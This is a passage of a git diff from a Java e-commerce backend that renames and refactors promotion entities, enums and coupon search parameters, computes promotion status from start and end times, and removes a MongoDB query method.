memberId; /** - * @see cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum + * @see PromotionsScopeTypeEnum */ @ApiModelProperty(value = "关联范围类型") private String scopeType; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java index a61acf89..4e4a485b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Pintuan.java @@ -1,6 +1,6 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; @@ -19,7 +19,7 @@ import javax.validation.constraints.NotNull; @Data @TableName("li_pintuan") @ApiModel(value = "拼团") -public class Pintuan extends BasePromotion { +public class Pintuan extends BasePromotions { private static final long serialVersionUID = -8465716592648602604L; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java index bf622f95..c3d692ba 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PointsGoods.java @@ -1,11 +1,12 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.AllArgsConstructor; import lombok.Data; +import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; @@ -15,18 +16,28 @@ import lombok.NoArgsConstructor; * @author paulG * @since 2020-03-19 10:44 上午 **/ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_points_goods") @ApiModel(value = "积分商品") @AllArgsConstructor @NoArgsConstructor -public class PointsGoods extends BasePromotion { +public class PointsGoods extends BasePromotions { private static final long serialVersionUID = 1313207311581661571L; @ApiModelProperty(value = "商品编号") + private String goodsId; + + @ApiModelProperty(value = "商品sku编号") private String skuId; + @ApiModelProperty(value = "商品名称") + private String goodsName; + + @ApiModelProperty(value = "商品原价") + private Double originalPrice; + @ApiModelProperty(value = "结算价格") private Double settlementPrice; @@ -36,6 +47,9 @@ public class PointsGoods extends BasePromotion { @ApiModelProperty(value = "分类名称") private String pointsGoodsCategoryName; + @ApiModelProperty(value = "缩略图") + private String thumbnail; + @ApiModelProperty(value = "活动库存数量") private Integer activeStock; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java index 08c89d9e..2e53e971 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java @@ -2,14 +2,16 @@ package cn.lili.modules.promotion.entity.dos; import cn.hutool.core.bean.BeanUtil; import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.mybatis.BaseEntity; import cn.lili.modules.goods.entity.dos.GoodsSku; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; import java.util.Date; @@ -20,6 +22,7 @@ import java.util.Date; * @author Chopper * @since 2020-03-19 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_promotion_goods") @ApiModel(value = "促销商品") @@ -34,10 +37,13 @@ public class PromotionGoods extends BaseEntity { @ApiModelProperty(value = "商家名称") private String storeName; - @ApiModelProperty(value = "货品id") + @ApiModelProperty(value = "商品id") + private String goodsId; + + @ApiModelProperty(value = "商品SkuId") private String skuId; - @ApiModelProperty(value = "货品名称") + @ApiModelProperty(value = "商品名称") private String goodsName; @ApiModelProperty(value = "缩略图") @@ -72,31 +78,56 @@ public class PromotionGoods extends BaseEntity { @ApiModelProperty(value = "卖出的商品数量") private Integer num; + @ApiModelProperty(value = "原价") + private Double originalPrice; + @ApiModelProperty(value = "促销价格") private Double price; + @ApiModelProperty(value = "兑换积分") + private Long points; + @ApiModelProperty(value = "限购数量") private Integer limitNum; @ApiModelProperty(value = "促销库存") private Integer quantity; - /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "状态") - private String promotionStatus; - @ApiModelProperty(value = "分类path") private String categoryPath; + /** + * @see PromotionsScopeTypeEnum + */ + @ApiModelProperty(value = "关联范围类型") + private String scopeType = PromotionsScopeTypeEnum.PORTION_GOODS.name(); + + + @ApiModelProperty(value = "范围关联的id") + private String scopeId; + public PromotionGoods(GoodsSku sku) { if (sku != null) { - String oldId = this.getId(); - BeanUtil.copyProperties(sku, this); - this.setSkuId(sku.getId()); - this.setId(oldId); + BeanUtil.copyProperties(sku, this, "id", "price"); + this.skuId = sku.getId(); + this.originalPrice = sku.getPrice(); } } + public PromotionGoods(PointsGoods pointsGoods, GoodsSku sku) { + if (pointsGoods != null) { + BeanUtil.copyProperties(sku, this, "id"); + BeanUtil.copyProperties(pointsGoods, this, "id"); + this.promotionId = pointsGoods.getId(); + this.quantity = pointsGoods.getActiveStock(); + this.originalPrice = sku.getPrice(); + } + } + + public PromotionGoods(KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO) { + if (kanjiaActivityGoodsDTO != null) { + BeanUtil.copyProperties(kanjiaActivityGoodsDTO, this, "id"); + BeanUtil.copyProperties(kanjiaActivityGoodsDTO.getGoodsSku(), this, "id"); + } + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java index 3c6e770f..6ed0dfaf 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java @@ -3,8 +3,8 @@ package cn.lili.modules.promotion.entity.dos; import cn.hutool.core.date.DateField; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; -import cn.lili.modules.promotion.entity.dto.BasePromotion; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.vos.SeckillVO; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModel; @@ -12,6 +12,7 @@ import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; +import org.springframework.beans.BeanUtils; import javax.validation.constraints.NotNull; import java.util.Date; @@ -27,7 +28,7 @@ import java.util.Date; @TableName("li_seckill") @ApiModel(value = "秒杀活动活动") @NoArgsConstructor -public class Seckill extends BasePromotion { +public class Seckill extends BasePromotions { private static final long serialVersionUID = -9116425737163730836L; @@ -52,21 +53,22 @@ public class Seckill extends BasePromotion { @ApiModelProperty(value = "商品数量") private Integer goodsNum; - public Seckill(int day,String hours,String seckillRule){ + public Seckill(int day, String hours, String seckillRule) { //默认创建*天后的秒杀活动 - DateTime dateTime= DateUtil.beginOfDay(DateUtil.offset(new DateTime(), DateField.DAY_OF_YEAR, day)); - this.applyEndTime=dateTime; - this.hours=hours; - this.seckillRule=seckillRule; - this.goodsNum=0; - + DateTime dateTime = DateUtil.beginOfDay(DateUtil.offset(new DateTime(), DateField.DAY_OF_YEAR, day)); + this.applyEndTime = dateTime; + this.hours = hours; + this.seckillRule = seckillRule; + this.goodsNum = 0; //BasePromotion - setStoreName("platform"); - setStoreId("platform"); - setPromotionName(DateUtil.formatDate(dateTime)+" 秒杀活动"); - setStartTime(dateTime); - setEndTime(DateUtil.endOfDay(dateTime)); - setPromotionStatus(PromotionStatusEnum.NEW.name()); + this.setStoreName("platform"); + this.setStoreId("platform"); + this.setPromotionName(DateUtil.formatDate(dateTime) + " 秒杀活动"); + this.setStartTime(dateTime); + this.setEndTime(DateUtil.endOfDay(dateTime)); + } + public Seckill(SeckillVO seckillVO) { + BeanUtils.copyProperties(seckillVO, this); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/SeckillApply.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/SeckillApply.java index 6254efea..7d011d32 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/SeckillApply.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/SeckillApply.java @@ -1,5 +1,6 @@ package cn.lili.modules.promotion.entity.dos; +import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; @@ -58,7 +59,7 @@ public class SeckillApply extends BaseEntity { private Integer quantity; /** - * @see cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum + * @see PromotionsApplyStatusEnum */ @ApiModelProperty(value = "APPLY(\"申请\"), PASS(\"通过\"), REFUSE(\"拒绝\")") private String promotionApplyStatus; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotion.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java similarity index 53% rename from framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotion.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java index f9e5468e..512dfe24 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotion.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/BasePromotions.java @@ -1,6 +1,7 @@ package cn.lili.modules.promotion.entity.dto; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.mybatis.BaseEntity; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModelProperty; @@ -18,7 +19,7 @@ import java.util.Date; */ @EqualsAndHashCode(callSuper = true) @Data -public class BasePromotion extends BaseEntity { +public class BasePromotions extends BaseEntity { private static final long serialVersionUID = 7814832369110695758L; @@ -41,8 +42,32 @@ public class BasePromotion extends BaseEntity { private Date endTime; /** - * @see PromotionStatusEnum + * @see PromotionsScopeTypeEnum */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; + @ApiModelProperty(value = "关联范围类型") + private String scopeType = PromotionsScopeTypeEnum.PORTION_GOODS.name(); + + + @ApiModelProperty(value = "范围关联的id") + private String scopeId; + + + /** + * @return 促销状态 + * @see PromotionsStatusEnum + */ + public String getPromotionStatus() { + if (endTime == null) { + return startTime != null ? PromotionsStatusEnum.START.name() : PromotionsStatusEnum.CLOSE.name(); + } + Date now = new Date(); + if (now.before(startTime)) { + return PromotionsStatusEnum.NEW.name(); + } else if (endTime.before(now)) { + return PromotionsStatusEnum.END.name(); + } else if (now.before(endTime)) { + return PromotionsStatusEnum.START.name(); + } + return PromotionsStatusEnum.CLOSE.name(); + } } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/CouponActivityDTO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/CouponActivityDTO.java index 7ffb3fb0..4175c469 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/CouponActivityDTO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/CouponActivityDTO.java @@ -4,6 +4,7 @@ import cn.lili.modules.promotion.entity.dos.CouponActivity; import cn.lili.modules.promotion.entity.dos.CouponActivityItem; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import java.util.List; @@ -13,6 +14,7 @@ import java.util.List; * @author Bulbasaur * @since 2021/5/21 7:16 下午 */ +@EqualsAndHashCode(callSuper = true) @Data public class CouponActivityDTO extends CouponActivity { diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityGoodsDTO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityGoodsDTO.java index 87e57d88..b8e5cc99 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityGoodsDTO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/KanjiaActivityGoodsDTO.java @@ -5,6 +5,7 @@ import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import java.io.Serializable; @@ -12,8 +13,9 @@ import java.io.Serializable; * 砍价活动商品DTO * * @author qiuqiu - * @date 2020/8/21 + * @since 2020/8/21 **/ +@EqualsAndHashCode(callSuper = true) @Data public class KanjiaActivityGoodsDTO extends KanjiaActivityGoods implements Serializable { diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/PromotionGoodsDTO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/PromotionGoodsDTO.java index 63e034fb..b962e62e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dto/PromotionGoodsDTO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dto/PromotionGoodsDTO.java @@ -4,6 +4,7 @@ import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; @@ -13,15 +14,13 @@ import lombok.NoArgsConstructor; * @author paulG * @since 2020/10/9 **/ +@EqualsAndHashCode(callSuper = true) @Data @NoArgsConstructor public class PromotionGoodsDTO extends PromotionGoods { private static final long serialVersionUID = 9206970681612883421L; - @ApiModelProperty(value = "原价") - private Double originPrice; - @ApiModelProperty(value = "商品id") private String goodsId; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionApplyStatusEnum.java b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsApplyStatusEnum.java similarity index 81% rename from framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionApplyStatusEnum.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsApplyStatusEnum.java index 16f1b2fe..f746b95e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionApplyStatusEnum.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsApplyStatusEnum.java @@ -6,7 +6,7 @@ package cn.lili.modules.promotion.entity.enums; * @author Chopper * @since 2020-03-19 9:36 上午 */ -public enum PromotionApplyStatusEnum { +public enum PromotionsApplyStatusEnum { /** * 枚举 @@ -15,7 +15,7 @@ public enum PromotionApplyStatusEnum { private final String description; - PromotionApplyStatusEnum(String str) { + PromotionsApplyStatusEnum(String str) { this.description = str; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/CouponScopeTypeEnum.java b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsScopeTypeEnum.java similarity index 79% rename from framework/src/main/java/cn/lili/modules/promotion/entity/enums/CouponScopeTypeEnum.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsScopeTypeEnum.java index 1e0f8fc2..d9300acf 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/CouponScopeTypeEnum.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsScopeTypeEnum.java @@ -1,12 +1,12 @@ package cn.lili.modules.promotion.entity.enums; /** - * 优惠券适用范围类型枚举 + * 促销适用范围类型枚举 * * @author Chopper * @since 2020-03-19 9:36 上午 */ -public enum CouponScopeTypeEnum { +public enum PromotionsScopeTypeEnum { /** * 枚举 @@ -18,7 +18,7 @@ public enum CouponScopeTypeEnum { private final String description; - CouponScopeTypeEnum(String str) { + PromotionsScopeTypeEnum(String str) { this.description = str; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionStatusEnum.java b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsStatusEnum.java similarity index 87% rename from framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionStatusEnum.java rename to framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsStatusEnum.java index 69423f7d..753f39a5 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionStatusEnum.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/enums/PromotionsStatusEnum.java @@ -6,7 +6,7 @@ package cn.lili.modules.promotion.entity.enums; * @author Chopper * @since 2020-03-19 3:53 下午 */ -public enum PromotionStatusEnum { +public enum PromotionsStatusEnum { /** * 新建 @@ -27,7 +27,7 @@ public enum PromotionStatusEnum { private final String description; - PromotionStatusEnum(String str) { + PromotionsStatusEnum(String str) { this.description = str; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java new file mode 100644 index 00000000..6c73c83f --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java @@ -0,0 +1,64 @@ +package cn.lili.modules.promotion.entity.vos; + +import cn.hutool.core.text.CharSequenceUtil; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.tools.PromotionTools; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import io.swagger.annotations.ApiModelProperty; +import lombok.Data; + +import java.util.Date; + +/** + * @author paulG + * @since 2021/11/18 + **/ +@Data +public class BasePromotionsSearchParams { + + @ApiModelProperty(value = "活动id") + private String id; + + @ApiModelProperty(value = "活动开始时间") + private Long startTime; + + @ApiModelProperty(value = "活动结束时间") + private Long endTime; + + /** + * @see PromotionsStatusEnum + */ + @ApiModelProperty(value = "活动状态") + private String promotionStatus; + + /** + * @see PromotionsScopeTypeEnum + */ + @ApiModelProperty(value = "关联范围类型") + private String scopeType; + + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = new QueryWrapper<>(); + + if (CharSequenceUtil.isNotEmpty(id)) { + queryWrapper.eq("id", id); + } + if (startTime != null) { + queryWrapper.ge("start_time", new Date(startTime)); + } + if (endTime != null) { + queryWrapper.le("end_time", new Date(endTime)); + } + if (CharSequenceUtil.isNotEmpty(promotionStatus)) { + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(promotionStatus))); + } + if (CharSequenceUtil.isNotEmpty(scopeType)) { + queryWrapper.eq("scope_type", scopeType); + } + queryWrapper.eq("delete_flag", false); + return queryWrapper; + } + + +} diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityItemVO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityItemVO.java index 6b3fe192..2bce8016 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityItemVO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityItemVO.java @@ -3,6 +3,7 @@ package cn.lili.modules.promotion.entity.vos; import cn.lili.modules.promotion.entity.dos.CouponActivityItem; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; /** * 优惠券活动的优惠券VO @@ -10,6 +11,7 @@ import lombok.Data; * @author Bulbasaur * @since 2021/6/18 11:00 上午 */ +@EqualsAndHashCode(callSuper = true) @Data public class CouponActivityItemVO extends CouponActivityItem { diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityVO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityVO.java index f32ae53f..737a8364 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityVO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponActivityVO.java @@ -4,6 +4,7 @@ import cn.lili.common.utils.BeanUtil; import cn.lili.modules.promotion.entity.dos.CouponActivity; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; import java.util.List; @@ -14,6 +15,7 @@ import java.util.List; * @author Bulbasaur * @since 2021/5/21 7:01 下午 */ +@EqualsAndHashCode(callSuper = true) @Data @NoArgsConstructor public class CouponActivityVO extends CouponActivity { diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java index 2217b52e..c4a5dc00 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java @@ -2,16 +2,15 @@ package cn.lili.modules.promotion.entity.vos; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.modules.promotion.entity.enums.*; +import cn.lili.modules.promotion.tools.PromotionTools; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; +import lombok.EqualsAndHashCode; import java.io.Serializable; -import java.util.Arrays; +import java.util.Collections; import java.util.Date; -import java.util.regex.Pattern; /** * 优惠券查询通用类 @@ -19,11 +18,14 @@ import java.util.regex.Pattern; * @author paulG * @since 2020/8/14 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class CouponSearchParams implements Serializable { +public class CouponSearchParams extends BasePromotionsSearchParams implements Serializable { private static final long serialVersionUID = 4566880169478260409L; + private static final String PRICE_COLUMN = "price"; + private static final String RANGE_DAY_TYPE_COLUMN = "range_day_type"; @ApiModelProperty(value = "店铺编号") private String storeId; @@ -41,7 +43,7 @@ public class CouponSearchParams implements Serializable { @ApiModelProperty(value = "活动类型") private String couponType; /** - * @see cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum + * @see PromotionsScopeTypeEnum */ @ApiModelProperty(value = "关联范围类型") private String scopeType; @@ -58,27 +60,17 @@ public class CouponSearchParams implements Serializable { */ @ApiModelProperty(value = "优惠券类型,分为免费领取和活动赠送") private String getType; - - @ApiModelProperty(value = "活动开始时间") - private Long startTime; - - @ApiModelProperty(value = "活动结束时间") - private Long endTime; /** * @see MemberCouponStatusEnum */ @ApiModelProperty(value = "会员优惠券状态") private String memberCouponStatus; - /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; - public QueryWrapper wrapper() { + @Override + public QueryWrapper queryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); if (storeId != null) { - queryWrapper.in("store_id", Arrays.asList(storeId)); + queryWrapper.in("store_id", Collections.singletonList(storeId)); } if (CharSequenceUtil.isNotEmpty(couponName)) { queryWrapper.like("coupon_name", couponName); @@ -90,7 +82,7 @@ public class CouponSearchParams implements Serializable { queryWrapper.eq("coupon_type", CouponTypeEnum.valueOf(couponType).name()); } if (CharSequenceUtil.isNotEmpty(scopeType)) { - queryWrapper.eq("scope_type", CouponScopeTypeEnum.valueOf(scopeType).name()); + queryWrapper.eq("scope_type", PromotionsScopeTypeEnum.valueOf(scopeType).name()); } if (CharSequenceUtil.isNotEmpty(scopeId)) { queryWrapper.eq("scope_id", scopeId); @@ -98,20 +90,38 @@ public class CouponSearchParams implements Serializable { if (CharSequenceUtil.isNotEmpty(getType)) { queryWrapper.eq("get_type", CouponGetEnum.valueOf(getType).name()); } - if (startTime != null) { - queryWrapper.ge("start_time", new Date(startTime)); - } - if (endTime != null) { - queryWrapper.le("end_time", new Date(endTime)); - } if (CharSequenceUtil.isNotEmpty(memberCouponStatus)) { queryWrapper.eq("member_coupon_status", MemberCouponStatusEnum.valueOf(memberCouponStatus).name()); } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq("promotion_status", PromotionStatusEnum.valueOf(promotionStatus).name()); + if (CharSequenceUtil.isNotEmpty(this.getPromotionStatus())) { + switch (PromotionsStatusEnum.valueOf(this.getPromotionStatus())) { + case NEW: + queryWrapper.nested(i -> i.gt(PromotionTools.START_TIME_COLUMN, new Date()).gt(PromotionTools.END_TIME_COLUMN, new Date())) + ; + break; + case START: + queryWrapper.nested(i -> i.le(PromotionTools.START_TIME_COLUMN, new Date()).ge(PromotionTools.END_TIME_COLUMN, new Date())) + .or(i -> i.gt("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name())); + break; + case END: + queryWrapper.nested(i -> i.lt(PromotionTools.START_TIME_COLUMN, new Date()).lt(PromotionTools.END_TIME_COLUMN, new Date())); + break; + case CLOSE: + queryWrapper.nested(n -> n.nested(i -> i.isNull(PromotionTools.START_TIME_COLUMN).isNull(PromotionTools.END_TIME_COLUMN) + .eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.FIXEDTIME.name())). + or(i -> i.le("effective_days", 0).eq(RANGE_DAY_TYPE_COLUMN, CouponRangeDayEnum.DYNAMICTIME.name()))); + break; + default: + } + } + if (this.getStartTime() != null) { + queryWrapper.ge("start_time", new Date(this.getEndTime())); + } + if (this.getEndTime() != null) { + queryWrapper.le("end_time", new Date(this.getEndTime())); } - this.betweenWrapper(queryWrapper); queryWrapper.eq("delete_flag", false); + this.betweenWrapper(queryWrapper); queryWrapper.orderByDesc("create_time"); return queryWrapper; } @@ -143,72 +153,4 @@ public class CouponSearchParams implements Serializable { } } - public Query mongoQuery() { - Query query = new Query(); - if (storeId != null) { - query.addCriteria(Criteria.where("storeId").in(Arrays.asList(storeId))); - } - if (CharSequenceUtil.isNotEmpty(couponName)) { - Pattern pattern = Pattern.compile("^.*" + couponName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("couponName").regex(pattern)); - } - if (memberId != null) { - query.addCriteria(Criteria.where("memberId").is(memberId)); - } - if (CharSequenceUtil.isNotEmpty(couponType)) { - query.addCriteria(Criteria.where("couponType").is(CouponTypeEnum.valueOf(couponType).name())); - } - if (CharSequenceUtil.isNotEmpty(scopeType)) { - query.addCriteria(Criteria.where("scopeType").is(CouponScopeTypeEnum.valueOf(scopeType).name())); - } - if (CharSequenceUtil.isNotEmpty(scopeId)) { - query.addCriteria(Criteria.where("scopeId").is(scopeId)); - } - if (CharSequenceUtil.isNotEmpty(getType)) { - query.addCriteria(Criteria.where("getType").is(CouponGetEnum.valueOf(getType).name())); - } - if (startTime != null) { - query.addCriteria(Criteria.where("startTime").gte(new Date(startTime))); - } - if (endTime != null) { - query.addCriteria(Criteria.where("endTime").lte(new Date(endTime))); - } - if (CharSequenceUtil.isNotEmpty(memberCouponStatus)) { - query.addCriteria(Criteria.where("memberCouponStatus").is(MemberCouponStatusEnum.valueOf(memberCouponStatus).name())); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.valueOf(promotionStatus).name())); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - betweenQuery(query); - return query; - } - - private void betweenQuery(Query query) { - if (CharSequenceUtil.isNotEmpty(price)) { - String[] s = price.split("_"); - if (s.length > 1) { - query.addCriteria(Criteria.where(PRICE_COLUMN).gte(s[1])); - } else { - query.addCriteria(Criteria.where(PRICE_COLUMN).lte(s[0])); - } - } - if (CharSequenceUtil.isNotEmpty(publishNum)) { - String[] s = publishNum.split("_"); - if (s.length > 1) { - query.addCriteria(Criteria.where("publishNum").gte(s[1])); - } else { - query.addCriteria(Criteria.where("publishNum").lte(s[0])); - } - } - if (CharSequenceUtil.isNotEmpty(receivedNum)) { - String[] s = receivedNum.split("_"); - if (s.length > 1) { - query.addCriteria(Criteria.where("receivedNum").gte(s[1])); - } else { - query.addCriteria(Criteria.where("receivedNum").lte(s[0])); - } - } - } - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponVO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponVO.java index 2a69f0e2..0a33ba99 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponVO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponVO.java @@ -5,6 +5,10 @@ import cn.lili.modules.promotion.entity.dos.PromotionGoods; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import lombok.ToString; +import org.springframework.beans.BeanUtils; import java.util.List; @@ -14,8 +18,11 @@ import java.util.List; * @author Chopper * @since 2020/8/14 */ +@EqualsAndHashCode(callSuper = true) @Data @ApiModel(value = "优惠券") +@ToString(callSuper = true) +@NoArgsConstructor public class CouponVO extends Coupon { private static final long serialVersionUID = 8372420376262437018L; @@ -26,5 +33,10 @@ public class CouponVO extends Coupon { @ApiModelProperty(value = "优惠券关联商品集合") private List promotionGoodsList; - + public CouponVO(Coupon coupon) { + if (coupon == null) { + return; + } + BeanUtils.copyProperties(coupon, this); + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java 